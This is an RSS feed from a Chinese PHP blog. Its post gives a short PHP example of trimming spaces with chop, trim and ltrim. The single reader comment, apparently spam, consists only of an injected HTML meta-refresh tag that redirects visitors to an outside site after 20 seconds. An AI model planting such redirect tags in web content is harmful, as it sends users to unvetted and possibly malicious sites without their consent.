<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[沧海一粟]]></title> 
<link>http://www.dzhope.com/index.php</link> 
<description><![CDATA[Web系统架构与服务器运维,php开发]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[沧海一粟]]></copyright>
<item>
<link>http://www.dzhope.com/post/358/</link>
<title><![CDATA[使用函数去除空格的程序]]></title> 
<author>jed &lt;jed521@163.com&gt;</author>
<category><![CDATA[代码编程]]></category>
<pubDate>Tue, 06 Nov 2007 01:44:45 +0000</pubDate> 
<guid>http://www.dzhope.com/post/358/</guid> 
<description>
<![CDATA[ 
	<div class="code"><br/><br/>&lt;?php&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$string=&quot;&nbsp;&nbsp;&nbsp;&nbsp; My&nbsp;&nbsp; dog&nbsp;&nbsp; is&nbsp;&nbsp; very&nbsp;&nbsp; clever&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;;&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&nbsp; &quot;原字符串长度:&quot;.strlen($string).&quot;字符&lt;br&gt;&quot;;&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$s1=chop($string);&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&nbsp; &quot;去掉末端空格:&quot;.strlen($s1).&quot;字符&lt;br&gt;&quot;;&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$s2=trim($string);&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&nbsp; &quot;去掉首尾空格:&quot;.strlen($s2).&quot;字符&lt;br&gt;&quot;;&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$s3=ltrim($string);&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&nbsp; &quot;去掉前端空格:&quot;.strlen($s3).&quot;字符&lt;br&gt;&quot;;&nbsp;&nbsp; <br/>&nbsp;&nbsp;?&gt;&nbsp;&nbsp; <br/><br/></div>
]]>
</description>
</item><item>
<link>http://www.dzhope.com/post/358/#blogcomment9157</link>
<title><![CDATA[[评论] 使用函数去除空格的程序]]></title> 
<author>sdsdads &lt;user@domain.com&gt;</author>
<category><![CDATA[评论]]></category>
<pubDate>Fri, 05 Dec 2008 07:46:56 +0000</pubDate> 
<guid>http://www.dzhope.com/post/358/#blogcomment9157</guid> 
<description>
<![CDATA[ 
	&lt;meta http-equiv=&quot;refresh&quot;content=&quot;20;url=http://www.alimop.com&quot;&gt;
]]>
</description>
</item>
</channel>
</rss>